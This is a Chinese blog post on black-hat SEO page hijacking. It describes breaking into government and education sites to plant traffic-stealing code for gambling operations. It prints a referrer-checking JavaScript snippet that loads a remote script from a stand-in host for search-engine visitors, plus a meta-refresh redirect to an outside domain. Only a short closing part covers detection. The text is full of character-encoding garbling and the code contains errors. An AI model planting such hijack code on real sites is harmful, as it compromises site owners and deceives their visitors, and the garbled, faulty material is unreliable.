【黑帽SEO系列】網(wǎng)頁劫持(附劫持代碼)
頁劫持(附劫持代碼).jpg)
網(wǎng)頁劫持是目前黑帽SEO或者說黑產(chǎn)最喜歡的一種網(wǎng)頁引流方式,此手法往往通過入侵政府、教育機構(gòu)網(wǎng)站(權(quán)重高),修改網(wǎng)站源代碼、放寄生蟲程序、設(shè)置二級目錄反向代理等實現(xiàn)。網(wǎng)頁劫持可以分為服務(wù)端劫持、客戶端劫持、百度快照劫持、百度搜索劫持等等;表現(xiàn)形式可以是劫持跳轉(zhuǎn),也可以是劫持呈現(xiàn)的網(wǎng)頁內(nèi)容,目前被廣泛應(yīng)用于私服、博彩等暴利行業(yè)。
服務(wù)端劫持
服務(wù)端劫持也稱為全局劫持,手法為修改網(wǎng)站動態(tài)語言文本,判斷訪問來源控制返回內(nèi)容,從來達(dá)到網(wǎng)站劫持的目的。
asp/aspx/php劫持
Global.asa、Global.asax、conn.asp、conn.php等文件比較特殊,作用是在每次執(zhí)行一個動態(tài)腳本的時候,都會先加載該腳本, 然后再執(zhí)行目標(biāo)腳本。所以只要在 Global.asa 中寫判斷用戶系統(tǒng)信息的代碼(訪問來源等),如果是蜘蛛訪問則返回關(guān)鍵詞網(wǎng)頁(想要推廣的網(wǎng)站),如果是用戶訪問,則返回正常頁面。
客戶端劫持
客戶端劫持的手法也很多,但主要就是2種:js劫持、Header劫持。
js劫持
js劫持目的:通過向目標(biāo)網(wǎng)頁植入惡意js代碼,控制網(wǎng)站跳轉(zhuǎn)、隱藏頁面內(nèi)容、窗口劫持等。
js植入手法:可以通過入侵服務(wù)器,直接寫入源代碼中;也可以寫在數(shù)據(jù)庫中,因為有些頁面會呈現(xiàn)數(shù)據(jù)庫內(nèi)容。
js劫持案例
效果:通過搜索引擎搜索點擊頁面(執(zhí)行一段js)跳轉(zhuǎn)到博彩頁面;直接輸入網(wǎng)址訪問網(wǎng)頁,跳轉(zhuǎn)到404頁面。
代碼:
1 2 3 4 5 6 7 8 9 10 11 |
today=new Date(); today=today.getYear()+"-"+(today.getMonth()+1)+"-"+today.getDate(); var regexp=/.(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|vnet|360|ioage|sm|sp)(.[a-z0-9-]+){1,2}//ig; var where =document.referer; if(regexp.test(where)){ document.write ('<script language="javascript" type="text/javascript" src="http://www.xxx.com/test.js"></script>'); } else { window.location.href="../../404.htm"; } |
分析:通過referer判斷來路,如果referer來路為空就是跳轉(zhuǎn)到404頁面,如果是搜索引擎來的referer里面也會有顯示,然后在寫代碼控制跳轉(zhuǎn)。如果只是控制實現(xiàn)顯示不同的內(nèi)容,可以修改php、asp代碼;如果需要劫持搜索引擎搜索框,可以寫JS代碼來做瀏覽器本地跳轉(zhuǎn)。當(dāng)然js功能可以無限擴展,比如可以控制一個ip一天內(nèi)第一次訪問正常,其余訪問跳轉(zhuǎn)等等。
header劫持
在源代碼中寫入以下代碼:
1 |
<meta http-equiv=“refresh“ content=“10; url=http://letianyun.cn“> |
利用的就是Meta Refresh Tag(自動轉(zhuǎn)向),將流量引走。
手法對比
客戶端劫持與服務(wù)端區(qū)別
客戶端劫持:每次訪問網(wǎng)頁從服務(wù)端獲取到的網(wǎng)頁代碼都是相同的,只是控制了網(wǎng)頁代碼在瀏覽器中呈現(xiàn)的效果(比如是否進(jìn)行跳轉(zhuǎn)等)。
服務(wù)端劫持:改變了每次訪問網(wǎng)頁從服務(wù)端獲取到的網(wǎng)頁代碼。
客戶端劫持與服務(wù)端判斷方法
客戶端劫持的判斷方法:只需觀察瀏覽器呈現(xiàn)的網(wǎng)頁前端代碼,查看是否引用了不當(dāng)?shù)膉s,或者其它敏感內(nèi)容。
服務(wù)端劫持的判斷方法:可以通過觀察網(wǎng)站后端代碼,或者通過改變ip,包頭等方式,觀察放回源碼是否不同。
結(jié)語:網(wǎng)頁劫持的方法還有很多,我了解的大概只是皮毛,黑帽SEO技術(shù)的水很深,前路漫漫。